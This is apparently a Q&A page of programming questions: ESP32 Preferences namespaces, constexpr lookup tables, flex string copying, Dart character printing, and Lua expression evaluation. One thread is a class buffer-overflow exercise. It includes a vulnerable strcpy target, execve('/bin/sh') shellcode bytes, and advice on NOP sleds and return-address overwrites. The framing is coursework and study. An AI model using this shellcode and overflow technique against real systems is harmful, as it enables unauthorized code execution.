I am using an ESP32 WROOM 32D module in a project using Arduino IDE. I want to utilise NVS facility with the help of Preferences.h library that it provides, although the data that can come through user would be stored in different namespaces and those could be utilised later. I can easily create simple one two namespaces but for this I need to use iteration. I have been scratching my head over this, but to no luck. I saw over on GitHub one person complain that it may not exactly be iteration friendly. Here's my code:
#include<Preferences.h>
Preferences ok;
String data1;
byte data2[2];byte data3[9];
byte buff[2];byte buf[9];
bool data4;
void setup() {
Serial.begin(115200);
for(int i=2; i<280; i++){
char testarray[]="test1";
testarray[4]=i;
ok.begin(testarray,false);
char datad1[20]="Code 15 launched 20";
datad1[15]=i;
ok.putString("data1", datad1);
ok.putBytes("data2","2",2);
ok.putBytes("data3","DF1BE29C",9);
ok.putBool("data4", true);
ok.end();
}
for(int i=2; i<280; i++){
char testarray[]="test1";
testarray[4]=i;
ok.begin(testarray,false);
data1=ok.getString("data1");
Serial.println(data1);
data2[2]=ok.getBytes("data2",buff,2);
Serial.print(data2[1], HEX);
Serial.print(data2[2], HEX);
Serial.println();
data3[9]=ok.getBytes("data3",buf,9);
for (int j = 0; j < sizeof(data3); j++) {
Serial.print(data3[j], HEX);
}
Serial.println();
data4=ok.getBool("data4");
Serial.println(data4);
ok.end();
}
}
void loop() {
}
Is there anything wrong with this? The format is simply const char* as the parameter of the namespace name, I just hoped that this would efficiently create test1, test2, test3, test4 namespaces.... but doesn't seem much feasible. Any guidance will be appreciated.
You cannot construct C strings like that:
char testarray[]="test1";
testarray[4]=i;
...
char datad1[20]="Code 15 launched 20";
datad1[15]=i;
This simply replaces the character '1' with numeric value 2, 3, .. 280. Numbers are not characters.
This is how you construct C strings with numbers in them:
char label[8]; // 4 chars for "test", 3 chars for 3 digit number, 1 char for NULL
snprintf(label, sizeof(label), "test%d", i);
Related
I'd like to extend my instrumental Profiler in order to avoid it affect too much performances.
Im my current implementation, I'm using a ProfilerHelper taking one string, which is put whereever you want in the profiling f().
The ctor is starting the measurement and the dector is closing it, logging the Delta in an unordered_map entry, which is key is the string.
Now, I'd like to turn all of that into a faster stuff.
First of all, I'd like to create a string LUT (Look Up Table) contaning the f()s names at compile time, and turn the unordered_map to a plain vector which is paired by the string function LUT.
Now the question is: I've managed to create a LUT but std::string_view, but I cannot find a way to extend it at compile time.
A first rought trial sounds like this:
template<unsigned N>
constexpr auto LUT() {
std::array<std::string_view, N> Strs{};
for (unsigned n = 0; n < N; n++) {
Strs[n] = "";
}
return Strs;
};
constexpr std::array<std::string_view, 0> StringsLUT { LUT<0>() };
constexpr auto AddString(std::string_view const& Str)
{
constexpr auto Size = StringsLUT.size();
std::array<std::string_view, Size + 1> Copy{};
for (auto i = 0; i < Size; ++i)
Copy[i] = StringsLUT[i];
Copy[Size] = Str;
return Copy;
};
int main()
{
constexpr auto Strs = AddString(__builtin_FUNCTION());
//for (auto const Str : Strs)
std::cout << Strs[0] << std::endl;
}
So my idea should be to recall the AddString whenever needed in my f()s to be profiled, extending this list at compile time.
But of course I should take the returned Copy and replace the StringsLUT everytime, to land to a final StringsLUT with all the f() names inside it.
Is there a way to do that at compile time?
Sorry, but I'm just entering the magic "new" world of constexpr applied to LUT right in these days.
Tx for your support in advance.
This is my code
strcpy doesnt copy the yytext
Any suggestion why?
These are my globals
char** v; /* array of variables and their values */
int i;
some name definition
WORD [a-zA-Z]
DIGIT [0-9]
These are the states
<VAL>"\"".+"\"" {int x=sizeof(yytext);
v[i]=(char*)realloc(v, x*sizeof(char));
strcpy(v[i],yytext);
i++;
BEGIN(INITIAL);}
<VAL>. { i--;printf("error");}
<SAVE_VAL>{WORD}[{WORD}{DIGIT}_]* {
if (NULL==v){
v=(char**)realloc(v, 100*sizeof(char*));
i=0;
}
int x=sizeof(yytext);
v[i]=(char*)realloc(v, x+2);
strcpy(v[i],yytext);
i++;
BEGIN(VAL);
}
val" " {BEGIN(SAVE_VAL);}
This is the yywrap
int yywrap(void){
return 1;
}
This is the main
int main(void) {
yyin=fopen("input.txt","r");
yylex();
fclose(yyin);
This is the loop to print the strings
for (int j=0;j<100;j++){
if (NULL==v[j])
break;
printf("%s",v[j],i);
}
}
}
I'm tring to run it on
val a="asdasd";
I'm expecting it to print
a
asdasd
This:
int x=sizeof(yytext);
doesn't do what you think it does. yytext is of type char*; that is, it is a pointer to a character. That means that sizeof yytext is either 4 or 8, depending on whether you're compiling on a 32-bit or 64-bit platform. (Or some other pointer length if you have a really unusual architecture.)
It is not the length of the string starting at yytext. That would be the standard library function strlen(yytext).
However, you don't need to use that, either, because flex has helpfully assigned the length of the token to the global variable yyleng.
When you are allocating space for the copy, don't forget that in C strings are always NUL-terminated. That means that the allocation for a string must be (at least) one greater than the length of the string, which means you need yyleng + 1 bytes.
I am trying to learn the Dart language, by transposing the exercices given by my school for C programming.
The very first exercice in our C pool is to write a function print_alphabet() that prints the alphabet in lowercase; it is forbidden to print the alphabet directly.
In POSIX C, the straightforward solution would be:
#include <unistd.h>
void print_alphabet(void)
{
char c;
c = 'a';
while (c <= 'z')
{
write(STDOUT_FILENO, &c, 1);
c++;
}
}
int main(void)
{
print_alphabet();
return (0);
}
However, as far as I know, the current version of Dart (1.1.1) does not have an easy way of dealing with characters. The farthest I came up with (for my very first version) is this:
void print_alphabet()
{
var c = "a".codeUnits.first;
var i = 0;
while (++i <= 26)
{
print(c.toString());
c++;
}
}
void main() {
print_alphabet();
}
Which prints the ASCII value of each character, one per line, as a string ("97" ... "122"). Not really what I intended…
I am trying to search for a proper way of doing this. But the lack of a char type like the one in C is giving me a bit of a hard time, as a beginner!
Dart does not have character types.
To convert a code point to a string, you use the String constructor String.fromCharCode:
int c = "a".codeUnitAt(0);
int end = "z".codeUnitAt(0);
while (c <= end) {
print(String.fromCharCode(c));
c++;
}
For simple stuff like this, I'd use "print" instead of "stdout", if you don't mind the newlines.
There is also:
int char_a = 'a'.codeUnitAt(0);
print(String.fromCharCodes(new Iterable.generate(26, (x) => char_a + x)));
or, using newer list literal syntax:
int char_a = 'a'.codeUnitAt(0);
int char_z = 'z'.codeUnitAt(0);
print(String.fromCharCodes([for (var i = char_a; i <= char_z; i++) i]));
As I was finalizing my post and rephrasing my question’s title, I am no longer barking up the wrong tree thanks to this question about stdout.
It seems that one proper way of writing characters is to use stdout.writeCharCode from the dart:io library.
import 'dart:io';
void ft_print_alphabet()
{
var c = "a".codeUnits.first;
while (c <= "z".codeUnits.first)
stdout.writeCharCode(c++);
}
void main() {
ft_print_alphabet();
}
I still have no clue about how to manipulate character types, but at least I can print them.
I'm trying to figure out this problem for one of my comp sci classes, I've utilized every resource and still having issues, if someone could provide some insight, I'd greatly appreciate it.
I have this "target" I need to execute a execve(“/bin/sh”) with the buffer overflow exploit. In the overflow of buf[128], when executing the unsafe command strcpy, a pointer back into the buffer appears in the location where the system expects to find return address.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
I understand I need to fill argv[1] with over 128 bytes, the bytes over 128 being the return address, which should be pointed back to the buffer so it executes the /bin/sh within. Is that correct thus far? Can someone provide the next step?
Thanks very much for any help.
Well, so you want the program to execute your shellcode. It's already in machine form, so it's ready to be executed by the system. You've stored it in a buffer. So, the question would be "How does the system know to execute my code?" More precisely, "How does the system know where to look for the next code to be executed?" The answer in this case is the return address you're talking about.
Basically, you're on the right track. Have you tried executing the code? One thing I've noticed when performing this type of exploit is that it's not an exact science. Sometimes, there are other things in memory that you don't expect to be there, so you have to increase the number of bytes you add into your buffer in order to correctly align the return address with where the system expects it to be.
I'm not a specialist in security, but I can tell you a few things that might help. One is that I usually include a 'NOP Sled' - essentially just a series of 0x90 bytes that don't do anything other than execute 'NOP' instructions on the processor. Another trick is to repeat the return address at the end of the buffer, so that if even one of them overwrites the return address on the stack, you'll have a successful return to where you want.
So, your buffer will look like this:
| NOP SLED | SHELLCODE | REPEATED RETURN ADDRESS |
(Note: These aren't my ideas, I got them from Hacking: The Art of Exploitation, by Jon Erickson. I recommend this book if you're interested in learning more about this).
To calculate the address, you can use something similar to the following:
unsigned long sp(void)
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char* buffer;
offset = 0;
esp = sp();
ret = esp - offset;
}
Now, ret will hold the return address you want to return to, assuming that you allocate buffer to be on the heap.
In my previous question I was looking for a way of evaulating complex mathematical expressions in C, most of the suggestions required implementing some type of parser.
However one answer, suggested using Lua for evaluating the expression. I am interested in this approach but I don't know anything about Lua.
Can some one with experience in Lua shed some light?
Specifically what I'd like to know is
Which API if any does Lua provide that can evaluate mathematical expressions passed in as a string? If there is no API to do such a thing, may be some one can shed some light on the linked answer as it seemed like a good approach :)
Thanks
The type of expression I'd like to evaluate is given some user input such as
y = x^2 + 1/x - cos(x)
evaluate y for a range of values of x
It is straightforward to set up a Lua interpreter instance, and pass it expressions to be evaluated, getting back a function to call that evaluates the expression. You can even let the user have variables...
Here's the sample code I cooked up and edited into my other answer. It is probably better placed on a question tagged Lua in any case, so I'm adding it here as well. I compiled this and tried it for a few cases, but it certainly should not be trusted in production code without some attention to error handling and so forth. All the usual caveats apply here.
I compiled and tested this on Windows using Lua 5.1.4 from Lua for Windows. On other platforms, you'll have to find Lua from your usual source, or from www.lua.org.
Update: This sample uses simple and direct techniques to hide the full power and complexity of the Lua API behind as simple as possible an interface. It is probably useful as-is, but could be improved in a number of ways.
I would encourage readers to look into the much more production-ready ae library by lhf for code that takes advantage of the API to avoid some of the quick and dirty string manipulation I've used. His library also promotes the math library into the global name space so that the user can say sin(x) or 2 * pi without having to say math.sin and so forth.
Public interface to LE
Here is the file le.h:
/* Public API for the LE library.
*/
int le_init();
int le_loadexpr(char *expr, char **pmsg);
double le_eval(int cookie, char **pmsg);
void le_unref(int cookie);
void le_setvar(char *name, double value);
double le_getvar(char *name);
Sample code using LE
Here is the file t-le.c, demonstrating a simple use of this library. It takes its single command-line argument, loads it as an expression, and evaluates it with the global variable x changing from 0.0 to 1.0 in 11 steps:
#include <stdio.h>
#include "le.h"
int main(int argc, char **argv)
{
int cookie;
int i;
char *msg = NULL;
if (!le_init()) {
printf("can't init LE\n");
return 1;
}
if (argc<2) {
printf("Usage: t-le \"expression\"\n");
return 1;
}
cookie = le_loadexpr(argv[1], &msg);
if (msg) {
printf("can't load: %s\n", msg);
free(msg);
return 1;
}
printf(" x %s\n"
"------ --------\n", argv[1]);
for (i=0; i<11; ++i) {
double x = i/10.;
double y;
le_setvar("x",x);
y = le_eval(cookie, &msg);
if (msg) {
printf("can't eval: %s\n", msg);
free(msg);
return 1;
}
printf("%6.2f %.3f\n", x,y);
}
}
Here is some output from t-le:
E:...>t-le "math.sin(math.pi * x)"
x math.sin(math.pi * x)
------ --------
0.00 0.000
0.10 0.309
0.20 0.588
0.30 0.809
0.40 0.951
0.50 1.000
0.60 0.951
0.70 0.809
0.80 0.588
0.90 0.309
1.00 0.000
E:...>
Implementation of LE
Here is le.c, implementing the Lua Expression evaluator:
#include <lua.h>
#include <lauxlib.h>
#include <stdlib.h>
#include <string.h>
static lua_State *L = NULL;
/* Initialize the LE library by creating a Lua state.
*
* The new Lua interpreter state has the "usual" standard libraries
* open.
*/
int le_init()
{
L = luaL_newstate();
if (L)
luaL_openlibs(L);
return !!L;
}
/* Load an expression, returning a cookie that can be used later to
* select this expression for evaluation by le_eval(). Note that
* le_unref() must eventually be called to free the expression.
*
* The cookie is a lua_ref() reference to a function that evaluates the
* expression when called. Any variables in the expression are assumed
* to refer to the global environment, which is _G in the interpreter.
* A refinement might be to isolate the function envioronment from the
* globals.
*
* The implementation rewrites the expr as "return "..expr so that the
* anonymous function actually produced by lua_load() looks like:
*
* function() return expr end
*
*
* If there is an error and the pmsg parameter is non-NULL, the char *
* it points to is filled with an error message. The message is
* allocated by strdup() so the caller is responsible for freeing the
* storage.
*
* Returns a valid cookie or the constant LUA_NOREF (-2).
*/
int le_loadexpr(char *expr, char **pmsg)
{
int err;
char *buf;
if (!L) {
if (pmsg)
*pmsg = strdup("LE library not initialized");
return LUA_NOREF;
}
buf = malloc(strlen(expr)+8);
if (!buf) {
if (pmsg)
*pmsg = strdup("Insufficient memory");
return LUA_NOREF;
}
strcpy(buf, "return ");
strcat(buf, expr);
err = luaL_loadstring(L,buf);
free(buf);
if (err) {
if (pmsg)
*pmsg = strdup(lua_tostring(L,-1));
lua_pop(L,1);
return LUA_NOREF;
}
if (pmsg)
*pmsg = NULL;
return luaL_ref(L, LUA_REGISTRYINDEX);
}
/* Evaluate the loaded expression.
*
* If there is an error and the pmsg parameter is non-NULL, the char *
* it points to is filled with an error message. The message is
* allocated by strdup() so the caller is responsible for freeing the
* storage.
*
* Returns the result or 0 on error.
*/
double le_eval(int cookie, char **pmsg)
{
int err;
double ret;
if (!L) {
if (pmsg)
*pmsg = strdup("LE library not initialized");
return 0;
}
lua_rawgeti(L, LUA_REGISTRYINDEX, cookie);
err = lua_pcall(L,0,1,0);
if (err) {
if (pmsg)
*pmsg = strdup(lua_tostring(L,-1));
lua_pop(L,1);
return 0;
}
if (pmsg)
*pmsg = NULL;
ret = (double)lua_tonumber(L,-1);
lua_pop(L,1);
return ret;
}
/* Free the loaded expression.
*/
void le_unref(int cookie)
{
if (!L)
return;
luaL_unref(L, LUA_REGISTRYINDEX, cookie);
}
/* Set a variable for use in an expression.
*/
void le_setvar(char *name, double value)
{
if (!L)
return;
lua_pushnumber(L,value);
lua_setglobal(L,name);
}
/* Retrieve the current value of a variable.
*/
double le_getvar(char *name)
{
double ret;
if (!L)
return 0;
lua_getglobal(L,name);
ret = (double)lua_tonumber(L,-1);
lua_pop(L,1);
return ret;
}
Remarks
The above sample consists of 189 lines of code total, including a spattering of comments, blank lines, and the demonstration. Not bad for a quick function evaluator that knows how to evaluate reasonably arbitrary expressions of one variable, and has rich library of standard math functions at its beck and call.
You have a Turing-complete language underneath it all, and it would be an easy extension to allow the user to define complete functions as well as to evaluate simple expressions.
Since you're lazy, like most programmers, here's a link to a simple example that you can use to parse some arbitrary code using Lua. From there, it should be simple to create your expression parser.
This is for Lua users that are looking for a Lua equivalent of "eval".
The magic word used to be loadstring but it is now, since Lua 5.2, an upgraded version of load.
i=0
f = load("i = i + 1") -- f is a function
f() ; print(i) -- will produce 1
f() ; print(i) -- will produce 2
Another example, that delivers a value :
f=load('return 2+3')
print(f()) -- print 5
As a quick-and-dirty way to do, you can consider the following equivalent of eval(s), where s is a string to evaluate :
load(s)()
As always, eval mechanisms should be avoided when possible since they are expensive and produce a code difficult to read.
I personally use this mechanism with LuaTex/LuaLatex to make math operations in Latex.
The Lua documentation contains a section titled The Application Programming Interface which describes how to call Lua from your C program. The documentation for Lua is very good and you may even be able to find an example of what you want to do in there.
It's a big world in there, so whether you choose your own parsing solution or an embeddable interpreter like Lua, you're going to have some work to do!
function calc(operation)
return load("return " .. operation)()
end